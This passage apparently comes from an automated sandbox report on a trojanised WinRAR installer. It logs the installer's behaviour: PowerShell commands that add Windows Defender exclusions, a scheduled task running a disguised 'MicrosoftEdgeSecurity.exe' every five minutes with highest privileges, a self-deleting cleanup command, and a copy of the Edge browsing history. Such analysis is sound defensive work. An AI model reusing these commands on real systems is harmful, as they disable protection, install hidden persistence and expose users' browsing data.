%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\History to new location %TEMP%\13406CAD5E5944D3BC7F383224C2F104_history.db (UID: 00000000-00006508)34:T7ac,"winrarx64-setup.exe" called "CreateDirectoryW" with parameter %TEMP%\ (UID: 00000000-00007012) "winrarx64-setup.exe" called "CreateDirectoryW" with parameter C:\Users (UID: 00000000-00007012) "winrarx64-setup.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00007012) "winrarx64-setup.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData (UID: 00000000-00007012) "winrarx64-setup.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00007012) "winrarx64-setup.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Temp (UID: 00000000-00007012) "winrarx64-setup.exe" called "CreateDirectoryW" with parameter %TEMP%\nso98E5.tmp (UID: 00000000-00007012) "winrarx64-setup.exe" called "CreateDirectoryW" with parameter C:\Windows (UID: 00000000-00007012) "winrarx64-setup.exe" called "CreateDirectoryW" with parameter %WINDIR%\EdgeUpdate (UID: 00000000-00007012) "winrar-x64-710.exe" called "CreateDirectoryW" with parameter C:\Program Files (UID: 00000000-00007996) "winrar-x64-710.exe" called "CreateDirectoryW" with parameter %PROGRAMFILES%\WinRAR (UID: 00000000-00007996) "uninstall.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Start Menu\Programs\WinRAR (UID: 00000000-00007752) "uninstall.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\WinRAR (UID: 00000000-00007752) "test.exe" called "CreateDirectoryA" with parameter %WINDIR%\EdgeUpdate (UID: 00000000-00004284) "MicrosoftEdgeSecurity.exe" called "CreateDirectoryA" (UID: 00000000-00006508) "MicrosoftEdgeSecurity.exe" called "CreateDirectoryA" with parameter C:\Users (UID: 00000000-00006508) "MicrosoftEdgeSecurity.exe" called "CreateDirectoryA" with parameter C:\Users\B37Iofo (UID: 00000000-00006508) "MicrosoftEdgeSecurity.exe" called "CreateDirectoryA" with parameter %USERPROFILE%\AppData (UID: 00000000-00006508)35:T7ed,"winrarx64-setup.exe" called "CreateProcessW" with parameter "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:'"" - (UID: 00000000-00007012) "winrarx64-setup.exe" called "CreateProcessW" with parameter "C:\winrar-x64-710.exe" - (UID: 00000000-00007012) "winrarx64-setup.exe" called "CreateProcessW" with parameter "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath '%WINDIR%\EdgeUpdate\'"" - (UID: 00000000-00007012) "winrarx64-setup.exe" called "CreateProcessW" with parameter "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath '%WINDIR%\EdgeUpdate\\test.exe'"" - (UID: 00000000-00007012) "winrarx64-setup.exe" called "CreateProcessW" with parameter "%WINDIR%\EdgeUpdate\\test.exe" - (UID: 00000000-00007012) "winrar-x64-710.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\WinRAR\uninstall.exe" /setup" - (UID: 00000000-00007996) "test.exe" called "CreateProcessA" with parameter "cmd.exe /c schtasks /create /tn "EdgeUpdate" /tr "%WINDIR%\EdgeUpdate\MicrosoftEdgeSecurity.exe" /sc minute /mo 5 /f /rl highest" - (UID: 00000000-00004284) "test.exe" called "CreateProcessA" with parameter "%WINDIR%\EdgeUpdate\MicrosoftEdgeSecurity.exe" - (UID: 00000000-00004284) "test.exe" called "CreateProcessA" with parameter "%WINDIR%\system32\cmd.exe /c timeout /t 3 /nobreak > nul & del /f /q "%WINDIR%\EdgeUpdate\test.exe" & rmdir "%WINDIR%\EdgeUpdate"" - (UID: 00000000-00004284) "cmd.exe" called "CreateProcessW" with parameter "schtasks /create /tn "EdgeUpdate" /tr "%WINDIR%\EdgeUpdate\MicrosoftEdgeSecurity.exe" /sc minute /mo 5 /f /rl highest" - (UID: 00000000-00006900) "MicrosoftEdgeSecurity.exe" called "CreateProcessW" with parameter ""C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --user-data-dir="%TEMP%\abdv2_lu" --no" - (UID: 00000000-00006508) "cmd.exe" called "CreateProcessW" with parameter "timeout /t 3 /nobreak" - (UID: 00000000-00007072)36:Ta34f,"winrarx64-setup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\UXTHEME.dll (UID: 00000000-00007012) "winrarx64-setup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\USERENV.dll (UID: 00000000-00007012) "winrarx64-setup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\SETUPAPI.dll (UID: 00000000-00007012) "winrarx64-setup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\APPHELP.dll (UID: 00000000-00007012) "winrarx64-setup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\PROPSYS.dll (UID: 00000000-00007012) "winrarx64-setup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\DWMAPI.dll (UID: 00000000-00007012) "winrarx64-setup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CRYPTBASE.dll (UID: 00000000-00007012) "winrarx64-setup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\OLEACC.dll (UID: 00000000-00007012) "winrarx64-setup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CLBCATQ.dll (UID: 00000000-00007012) "winrarx64-setup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\NTMARTA.dll (UID: 00000000-00007012) "winrarx64-setup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\VERSION.dll (UID: 00000000-00007012) "winrarx64-setup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\SHFOLDER.dll (UID: 00000000-00007012) "winrarx64-setup.exe" called "LoadLibrary" with a parameter %TEMP%\nso98E5.tmp\nsExec.dll (UID: 00000000-00007012) "winrarx64-setup.exe" called "LoadLibrary" with a parameter %TEMP%\nso98E5.tmp\INetC.dll (UID: 00000000-00007012) "winrarx64-setup.exe" called "LoadLibrary" with a parameter WININET (UID: 00000000-00007012) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\e7f9e4af50c666b5fec85987c303915a\Microsoft.Management.Infrastr (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MPCLIENT.DLL (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvC (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter mi.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00007200) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00007200) "winrar-x64-710.exe" called "LoadLibrary" with a parameter nul & del /f /q "%WINDIR%\EdgeUpdate\test.exe" & rmdir "%WINDIR%\EdgeUpdate"" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00004284-00000C46-1888425185") Found string "%WINDIR%\system32\cmd.exe /c timeout /t 3 /nobreak > nul & del /f /q "%WINDIR%\EdgeUpdate\test.exe" & rmdir "%WINDIR%\EdgeUpdate"" (Indicator: "cmd.exe /c"; Source: "00000000-00004284-00000C46-1888425185") Found string "WS\system32\cmd.exe /c timeout /t 3 /nobreak > nul & del /f /q "C:\Windows\EdgeUpdate\test.exe" & rmdir "C:\Windows\EdgeUpdate"" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00004284.00000000.102677.ED320000.00000004.mdmp") Found string "WS\system32\cmd.exe /c timeout /t 3 /nobreak > nul & del /f /q "C:\Windows\EdgeUpdate\test.exe" & rmdir "C:\Windows\EdgeUpdate"" (Indicator: "cmd.exe /c"; Source: "00000000-00004284.00000000.102677.ED320000.00000004.mdmp") Found string "\cmd.exe /c timeout /t 3 /nobreak > nul & del /f /q "" (Indicator: "cmd.exe /c"; Source: "00000000-00004284.00000000.102677.ED320000.00000004.mdmp"), Found string "cmd.exe /c" (Indicator: "cmd.exe /c"; Source: "00000000-00004284.00000000.102677.ED320000.00000004.mdmp"), Found string "C:\WINDOWS\system32\cmd.exe /c timeout /t 3 /nobreak > nul & del /f /q "C:\Windows\EdgeUpdate\test.exe" & rmdir "" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00004284.00000000.102677.ED320000.00000004.mdmp") Found string "C:\WINDOWS\system32\cmd.exe /c timeout /t 3 /nobreak > nul & del /f /q "C:\Windows\EdgeUpdate\test.exe" & rmdir "" (Indicator: "cmd.exe /c"; Source: "00000000-00004284.00000000.102677.ED320000.00000004.mdmp"), Found string "C:\WINDOWS\system32\cmd.exe /c timeout /t 3 /nobreak > nul & del /f /q "" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00004284.00000000.102677.ED320000.00000004.mdmp") Found string "C:\WINDOWS\system32\cmd.exe /c timeout /t 3 /nobreak > nul & del /f /q "" (Indicator: "cmd.exe /c"; Source: "00000000-00004284.00000000.102677.ED320000.00000004.mdmp"), Found string "C:\WINDOWS\system32\cmd.exe /c timeout /t 3 /nobreak > nul & del /f /q "C:\Windows\EdgeUpdate\test.exe" & rmdir "C:\Windows\EdgeUpdate"" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00004284.00000000.102677.ED320000.00000004.mdmp"), Found string "C:\WINDOWS\system32\cmd.exe /c timeout /t 3 /nobreak > nul & del /f /q "C:\Windows\EdgeUpdate\test.exe" & rmdir "C:\Windows\EdgeUpdate"" (Indicator: "cmd.exe /c"; Source: "00000000-00004284.00000000.102677.ED320000.00000004.mdmp")38:T986,Process winrarx64-setup.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7012:168:WilStaging_02" Process winrarx64-setup.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7012:168:WilStaging_02" Process winrarx64-setup.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7012:64:WilError_01" Process winrarx64-setup.exe created mutex with name "Local\SM0:7012:168:WilStaging_02" Process winrarx64-setup.exe created mutex with name "SM0:7012:64:WilError_01" Process winrarx64-setup.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process winrarx64-setup.exe created mutex with name "Local\ZonesCacheCounterMutex" Process winrarx64-setup.exe created mutex with name "SM0:7012:168:WilStaging_02" Process winrarx64-setup.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process winrarx64-setup.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7200:168:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:7200:168:WilStaging_02" Process powershell.exe created mutex with name "Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "SM0:7200:64:WilError_01" Process powershell.exe created mutex with name "SM0:7200:168:WilStaging_02" Process powershell.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "Local\SM0:7200:64:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7200:168:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7200:64:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7200:64:WilError_01" Process winrar-x64-710.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7996:304:WilStaging_02" Process winrar-x64-710.exe created mutex with name "\BaseNamedObjects\SyncRootManager"39:Te32,Antivirus vendors marked dropped file "WinRAR.exe" as clean (type is "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"), Antivirus vendors marked dropped file "Rar.exe" as clean (type is "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"), Antivirus vendors marked dropped file "RarExt.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"), Antivirus vendors marked dropped file "UnRAR.exe" as clean (type is "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"), Antivirus vendors marked dropped file "RarExt32.dll" as clean (type is "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"), Antivirus vendors marked dropped file "WinRAR.chm" as clean (type is "MS Windows HtmlHelp Data"), Antivirus vendors marked dropped file "7zxa.dll" as clean (type is "PE32+ executable for MS Windows 5.02 (DLL) x86-64 6 sections"), Antivirus vendors marked dropped file "RarExtInstaller.exe" as clean (type is "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"), Antivirus vendors marked dropped file "INetC.dll" as clean (type is "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"), Antivirus vendors marked dropped file "nsExec.dll" as clean (type is "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"), Antivirus vendors marked dropped file "What is new in the latest version.lnk" as clean (type is "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Has Working directory Unicoded MachineID w5dxyog8whdn2h8 KnownFolderID 905E63B6-C1BF-494E-B29C-65B732D3D21A Archive NeedIndexed ctime=Thu Sep 24 13:19:00 2026 atime=Thu Sep 24 13:19:00 2026 mtime=Wed Feb 12 13:59:04 2025 length=53523 window=normal IDListSize 0x0175 Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" Volume "C:\" LocalBasePath "C:\Program Files\WinRAR\WhatsNew.txt""), Antivirus vendors marked dropped file "WinRAR help.lnk" as clean (type is "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Has Working directory Unicoded MachineID w5dxyog8whdn2h8 KnownFolderID 905E63B6-C1BF-494E-B29C-65B732D3D21A Archive NeedIndexed ctime=Thu Sep 24 13:19:01 2026 atime=Thu Sep 24 13:19:01 2026 mtime=Wed Feb 12 14:02:47 2025 length=331948 window=normal IDListSize 0x016f Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" Volume "C:\" LocalBasePath "C:\Program Files\WinRAR\WinRAR.chm""), Antivirus vendors marked dropped file "WinRAR.lnk" as clean (type is "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Has Working directory Unicoded MachineID w5dxyog8whdn2h8 KnownFolderID 905E63B6-C1BF-494E-B29C-65B732D3D21A Archive NeedIndexed ctime=Thu Sep 24 13:19:00 2026 atime=Thu Sep 24 13:19:00 2026 mtime=Wed Feb 12 14:03:00 2025 length=3311760 window=normal IDListSize 0x016f Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" Volume "C:\" LocalBasePath "C:\Program Files\WinRAR\WinRAR.exe""), Antivirus vendors marked dropped file "Console RAR manual.lnk" as clean (type is "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Has Working directory Unicoded MachineID w5dxyog8whdn2h8 KnownFolderID 905E63B6-C1BF-494E-B29C-65B732D3D21A Archive NeedIndexed ctime=Thu Sep 24 13:19:00 2026 atime=Thu Sep 24 13:19:00 2026 mtime=Sun Jan 5 12:16:29 2025 length=111710 window=normal IDListSize 0x0165 Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" Volume "C:\" LocalBasePath "C:\Program Files\WinRAR\Rar.txt"")3a:T1447,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module 